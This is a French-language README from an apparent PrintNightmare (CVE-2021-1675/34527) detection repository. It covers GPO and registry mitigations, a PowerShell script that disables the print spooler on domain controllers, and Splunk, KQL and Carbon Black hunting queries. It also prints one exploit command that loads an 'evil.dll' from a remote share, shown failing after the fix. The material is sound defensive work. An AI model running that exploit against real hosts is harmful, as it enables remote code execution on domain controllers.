
CVE-2021-1675 Informations de détection
https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34527
Ce dépôt contient un échantillon EVTX de l'attaque CVE-2021-1675 et CVE-2021-34527 ainsi qu'un fichier de configuration Sysmon minimal pouvant être utilisé pour générer la télémétrie correspondante.
Veuillez noter que ces règles peuvent être contournées - veuillez appliquer les correctifs appropriés et désactiver le service Spouleur d'impression sur les contrôleurs de domaine.
Veuillez tester tous les correctifs recommandés avant de les déployer en production, car ces changements de durcissement peuvent avoir des conséquences imprévues. Nous avons rédigé un article de blog expliquant le contenu de ce dépôt et les informations trouvées. Ici : https://labs.lares.com/detection-and-mitigation-printnightmare/
Grâce à Benjamin Delpy, un organigramme mis à jour sur l'exploitabilité de ce problème est disponible pour déterminer si vos systèmes sont probablement vulnérables.

Paramètres de sécurité -> Services système -> Spouleur d'impression -> Désactiver
HKLM\SYSTEM\CurrentControlSet\Services\Spooler\Start = 4Configuration de l'ordinateur -> Modèles d'administration -> Imprimantes -> Autoriser le spouleur d'impression à accepter les connexions client - > Désactiver
HKLM\Software\Policies\Microsoft\Windows NT\Printers\RegisterSpoolerRemoteRpcEndPoint = 2Imprimantes -> Restrictions d'impression par point et impression -> Invites de sécurité -> Lors de l'installation de pilotes pour une nouvelle connexion -> Afficher un avertissement et une invite d'élévation
HKLM\Software\Policies\Microsoft\Windows NT\Printers\PointAndPrint = 0HKLM\SOFTWARE\Microsoft\Windows\CurrrentVersion\Policies\System\EnableLUA = 1Le correctif publié par Microsoft en juin 2021 corrige bien CVE-2021-1675 mais ne résout malheureusement pas le problème connu sous le nom de PrintNightmare (CVE-2021-34527). Par conséquent, un correctif de contournement peut être appliqué en désactivant le service Spouleur d'impression. Voici comment procéder à la fois via GPO et PowerShell. Il a été confirmé que le GPO corrige à la fois la fonction MS-RPRN RpcAddPrinterDriverEx et la fonction Win32 AddPrinterDriverEx utilisées par SharpPrintNightmare.
Le GPO suivant peut être configuré pour refuser les connexions client au spouleur, ce qui constitue un contournement potentiel lorsque la désactivation complète du service Spouleur n'est pas une option. Cela a été testé sur des contrôleurs de domaine et des postes de travail (W7/W10) dans un environnement de laboratoire ; les utilisateurs peuvent toujours ajouter/supprimer des imprimantes et imprimer, mais cela empêche l'exploit de fonctionner. Remarque : Il est également entendu que ce GPO corrige également CVE-2021-34527 comme indiqué sur la page de vulnérabilité de Microsoft.
Configuration de l'ordinateur -> Modèles d'administration -> Imprimantes -> Autoriser le spouleur d'impression à accepter les connexions client
définissez cette option sur Désactivé :

Redémarrez ensuite le service Spouleur sur l'hôte affecté. Si tout se passe bien, l'exploit se verra refuser l'accès :
./CVE-2021-1675.py lares.labs/[email protected] '\\certer.lares.labs\share\evil.dll' 1 ⨯
Password:
[*] Try 1...
[*] Connecting to ncacn_np:192.168.1.157[\PIPE\spoolss]
[-] Connection Failed
Un autre correctif/contournement consiste à supprimer les utilisateurs authentifiés du groupe Pre-Windows 2000 Compatible Access comme découvert par Dirk-jan.

Assurez-vous que les groupes « Utilisateurs authentifiés » ne sont pas membres du groupe « Accès compatible Pre-Windows 2000 ». (Par défaut, ces groupes ne sont pas inclus dans les versions actuelles de Windows.) comme le montre la capture d'écran ci-dessous, il ne devrait y avoir aucun membre :

En cas de doute sur la procédure, les étapes suivantes peuvent être suivies :
Adapté du script de 0gtweet pour utiliser ADDomainController afin de récupérer tous les contrôleurs de domaine du domaine.
# the script STOP and DISABLES Print Spooler service (aka #PrintNightmare) on each server from the list below IF ONLY DEFAULT PRINTERS EXIST.
# revert if you need: go to services.msc, find the "print spooler" service, change startup type to "automatic" and start the service.
# Source: https://github.com/gtworek/PSBits/blob/master/Misc/StopAndDisableDefaultSpoolers.ps1
#
# Requirements RSAT
# Get-Module -Name ActiveDirectory
# Import-Module -Name ActiveDirectory
$computers = Get-ADDomainController -filter * | %{ $_.name }
foreach ($computer in $computers)
{
Write-Host "Processing $computer ..."
$service = Get-Service -ComputerName $computer -Name Spooler -ErrorAction SilentlyContinue
if (!$service)
{
Write-Host "Cannot connect to Spooler Service on $computer. Skipping." -ForegroundColor Yellow
continue
}
if ($service.Status -ne "Running")
{
Write-Host ("Service status is: """ + $service.Status + """. Skipping.") -ForegroundColor Yellow
continue
}
$printers = (Get-WmiObject -class Win32_printer -ComputerName $computer)
if (!$printers)
{
Write-Host "Cannot enumerate printers. Skipping." -ForegroundColor Yellow
continue
}
$disableSpooler = $true
foreach ($DriverName in ($printers.DriverName))
{
if (($DriverName -notmatch 'Microsoft XPS Document Writer') -and ($DriverName -notmatch 'Microsoft Print To PDF'))
{
Write-Host " Printer found: $DriverName" -ForegroundColor Green
$disableSpooler = $false
}
}
if ($disableSpooler)
{
Write-Host "Only default printers found. Stopping and disabling spooler..." -ForegroundColor DarkCyan
(Get-Service -ComputerName $computer -Name Spooler) | Stop-Service -Verbose
Set-Service -ComputerName $computer -Name Spooler -StartupType Disabled -Verbose
}
else
{
Write-Host "Non-default printers found. Skipping." -ForegroundColor Green
}
}
Le fichier de configuration Sysmon fourni CVE-2021-1675.xml peut être installé avec Sysmon Config Pusher : https://github.com/LaresLLC/SysmonConfigPusher
index=sysmon EventCode=7 Image="C:\\Windows\\System32\\spoolsv.exe" NOT (Signature="Microsoft Windows" SignatureStatus=Valid)
| stats values(ImageLoaded),values(TargetObject),values(Details),values(TargetFilename)
Une façon générique de rechercher une exploitation du Spouleur d'impression consiste à rechercher des erreurs générées par le spouleur en raison du chargement de la DLL de charge utile. Cela peut être fait soit en recherchant le lancement de WerFault.exe par spoolsv.exe, soit la génération de l'ID d'événement 7031 indiquant une fin inattendue du service Spouleur d'impression.
((index=sysmon EventCode=1
ParentImage="C:\\Windows\\System32\\spoolsv.exe" Image="C:\\Windows\\System32\\WerFault.exe")
OR (index=windows Channel=System EventCode=7031
Message="The Print Spooler service terminated unexpectedly"))
Après plusieurs tests d'exploitation de l'implémentation de cube0x0, un artefact supplémentaire a été trouvé : l'ID d'événement 5145 avec Share Name: \\*\IPC$ et Relative Target Name: spoolss. Les avantages de cette approche sont que vous pouvez voir l'adresse IP source (Source Address) et le compte (Security ID ou Account Name) qui ont été utilisés pour effectuer l'attaque. Il peut y avoir des faux positifs provenant de véritables serveurs d'impression, mais ils peuvent être filtrés par nom d'hôte et Access Mask. Il peut y avoir d'autres faux positifs qui peuvent être filtrés par combinaison de hostname-username-access mask.
index=windows_security EventCode=5145 Share_Name="\\\\*\\IPC$" Relative_Target_Name=spoolss
let serverlist=DeviceInfo
| where DeviceType != "Workstation"
| distinct DeviceId;
let suspiciousdrivers=DeviceImageLoadEvents
| where DeviceId in (serverlist)
| where FolderPath startswith @"c:\windows\system32\spool\drivers"
| distinct SHA1
| invoke FileProfile(SHA1, 1000)
| where GlobalPrevalence < 50 and IsRootSignerMicrosoft != 1 and SignatureState != "SignedValid";
suspiciousdrivers
| join kind=inner (DeviceImageLoadEvents
| where DeviceId in (serverlist)
| where FolderPath startswith @"c:\windows\system32\spool\drivers") on SHA1
| where InitiatingProcessFileName != "ccmexec.exe"
Source: https://twitter.com/olafhartong/status/1410229699993874442




Source: https://github.com/mrezqi/CVE-2021-1675_CarbonBlack_HuntingQuery/blob/main/README.md
filemod_name:c\:\\windows\\system32\\spool\\drivers\\x64\\3\\old\\1\\123
(modload_name:c\:\\windows\\system32\\spool\\drivers\\x64\\3* OR modload_name:c\:\\windows\\system32\\spool\\drivers\\x64\\3\\old*) AND parent_cmdline:spoolsv\.exe
(modload_name:c\:\\windows\\system32\\spool\\drivers\\x64\\3* OR modload_name:c\:\\windows\\system32\\spool\\drivers\\x64\\3\\old*) AND process_name:spoolsv\.exe
process_name:spoolsv\.exe AND NOT filemod_publisher_state:FILE_SIGNATURE_STATE_SIGNED
process_name:spoolsv\.exe AND filemod_publisher_state:FILE_SIGNATURE_STATE_SIGNED AND NOT filemod_publisher:"Microsoft Windows*"
Publications Twitter faisant référence aux attaques et aux requêtes de chasse
Observations sur les contrôleurs de domaine par rapport aux non-contrôleurs de domaine par Benjamin Delpy :
Organigramme très pratique via Stan Hegt de Outflank
Nouvelle attribution de CVE par Microsoft :
Journal ICS de SANS :